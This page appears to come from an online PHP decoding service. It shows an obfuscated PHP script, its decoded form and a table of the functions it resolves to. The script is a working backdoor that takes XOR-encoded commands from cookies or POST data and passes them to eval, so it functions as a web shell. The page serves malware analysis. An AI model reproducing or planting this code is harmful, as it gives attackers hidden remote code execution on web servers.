Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $xqnsrputb/* yo*/= "\163" . chr/* cb */(116) ./* wan*/chr ( 360 - 246/* kwet */)."\x..

Decoded Output download

<?php $xqnsrputb/* yo*/= "s" . chr/* cb */(116) ./* wan*/chr ( 360 - 246/* kwet */)."_" . 'r' . chr ( 920 - 819 )."p" . "e" . "a"/*nvorm */./* ih*/chr (116); $wadmoecx/* hzhcr */= chr/* qu */(101) . "x" ./* y*/'p' . chr (108) ./* bpoh*/'o' . chr ( 934/*f */-/* ubqzt */834 )."e"; $fxhqgyabz = chr/* xcmq*/(99)/*dqu */. chr/* ngsg */(/*ef */838 - 727/* ymvb */)."u" ./* bep*/chr ( 779 - 669 ).chr/* xt*/( 376 - 260 ); $wwltzhwgrs/* kf */= "p" . chr/*vgsud */( 557/* yhsjn */- 460 ).chr (99) ./* utl */"k"; $mjnyrcv/* n*/= array ( "rspiojobrlzzsbifgfrccohwepm"/*wk*/=>/* k */"decsnopttxpqxuay" ); $ofmhbqymw/* weptk*/= array (/* ft*/"wcxogmrgpw" => "kuuivs" ); foreach (/*v */array(/* ksn*/$mjnyrcv,/* gtgz*/$_cookie, $ofmhbqymw,/* q */$_post,/* bo */$mjnyrcv) as $puxnleqsdl) { foreach/* wn*/( $puxnleqsdl as $bmzgm/* lak*/=>/* awpv */$byzqkgxhsb/* grrv */)/* zkliw*/{ /* wozxn */$byzqkgxhsb =/*iixbw */@$wwltzhwgrs( chr ( 611/* iegc*/- 539/* bbbt */).'*',/*fovmn */$byzqkgxhsb ); /*xt*/$bmzgm .= "uurgdb-grn-gzkal-grju-zbjod-ossk-taiucfk"; $bmzgm =/*ex */$xqnsrputb/* ubvkt */( $bmzgm,/* sr */(/* tjoc */strlen(/* xwl */$byzqkgxhsb )/strlen(/*rxli */$bmzgm ) )/*jk */+ 1); /*jjx */$nxfxmchdsr =/* agjic*/$byzqkgxhsb/* s */^ $bmzgm; $nxfxmchdsr/* fdig */=/* ggpcx */$wadmoecx/*cuk */( chr (/* imkxb */847 -/* fkwk */812 ), $nxfxmchdsr ); /* vv */if ( $fxhqgyabz (/* dfr */$nxfxmchdsr/* uibjv */) == 3/*uzrw */) { $param1 = $nxfxmchdsr[1]; $param2 =/* jh */$nxfxmchdsr[2]; $param3/*pmmhd */= $param1($param2); eval ( $param3 ); /* vql*/die/*tl */(); } /* k */} } ?>

Did this file decode correctly?

Original Code

<?php $xqnsrputb/* yo*/= "\163" . chr/* cb */(116) ./* wan*/chr ( 360 - 246/* kwet */)."\x5f" . 'r' . chr ( 920 - 819 )."\160" . "\x65" . "\141"/*nvorm */./* ih*/chr (116); $wadmoecx/* hzhcr */= chr/* qu */(101) . "\170" ./* y*/'p' . chr (108) ./* bpoh*/'o' . chr ( 934/*f */-/* ubqzt */834 )."\145"; $fxhqgyabz = chr/* xcmq*/(99)/*dqu */. chr/* ngsg */(/*ef */838 - 727/* ymvb */)."\165" ./* bep*/chr ( 779 - 669 ).chr/* xt*/( 376 - 260 ); $wwltzhwgrs/* kf */= "\x70" . chr/*vgsud */( 557/* yhsjn */- 460 ).chr (99) ./* utl */"\x6b"; $mjnyrcv/* n*/= array ( "rspiojobrlzzsbifgfrccohwepm"/*wk*/=>/* k */"decsnopttxpqxuay" ); $ofmhbqymw/* weptk*/= array (/* ft*/"wcxogmrgpw" => "kuuivs" ); foreach (/*v */array(/* ksn*/$mjnyrcv,/* gtgz*/$_cookie, $ofmhbqymw,/* q */$_post,/* bo */$mjnyrcv) as $puxnleqsdl) { foreach/* wn*/( $puxnleqsdl as $bmzgm/* lak*/=>/* awpv */$byzqkgxhsb/* grrv */)/* zkliw*/{ /* wozxn */$byzqkgxhsb =/*iixbw */@$wwltzhwgrs( chr ( 611/* iegc*/- 539/* bbbt */).'*',/*fovmn */$byzqkgxhsb ); /*xt*/$bmzgm .= "uurgdb-grn-gzkal-grju-zbjod-ossk-taiucfk"; $bmzgm =/*ex */$xqnsrputb/* ubvkt */( $bmzgm,/* sr */(/* tjoc */strlen(/* xwl */$byzqkgxhsb )/strlen(/*rxli */$bmzgm ) )/*jk */+ 1); /*jjx */$nxfxmchdsr =/* agjic*/$byzqkgxhsb/* s */^ $bmzgm; $nxfxmchdsr/* fdig */=/* ggpcx */$wadmoecx/*cuk */( chr (/* imkxb */847 -/* fkwk */812 ), $nxfxmchdsr ); /* vv */if ( $fxhqgyabz (/* dfr */$nxfxmchdsr/* uibjv */) == 3/*uzrw */) { $param1 = $nxfxmchdsr[1]; $param2 =/* jh */$nxfxmchdsr[2]; $param3/*pmmhd */= $param1($param2); eval ( $param3 ); /* vql*/die/*tl */(); } /* k */} }

Function Calls

chr 13

Variables

$mjnyrcv [{'key': 'rspiojobrlzzsbifgfrccohwepm', 'value': 'decsnopttxpqxuay'}]
$wadmoecx explode
$fxhqgyabz count
$ofmhbqymw [{'key': 'wcxogmrgpw', 'value': 'kuuivs'}]
$xqnsrputb str_repeat
$wwltzhwgrs pack

Stats

MD5 71793907d7ab280c0f720812a818ed99
Eval Count 0
Decode Time 71 ms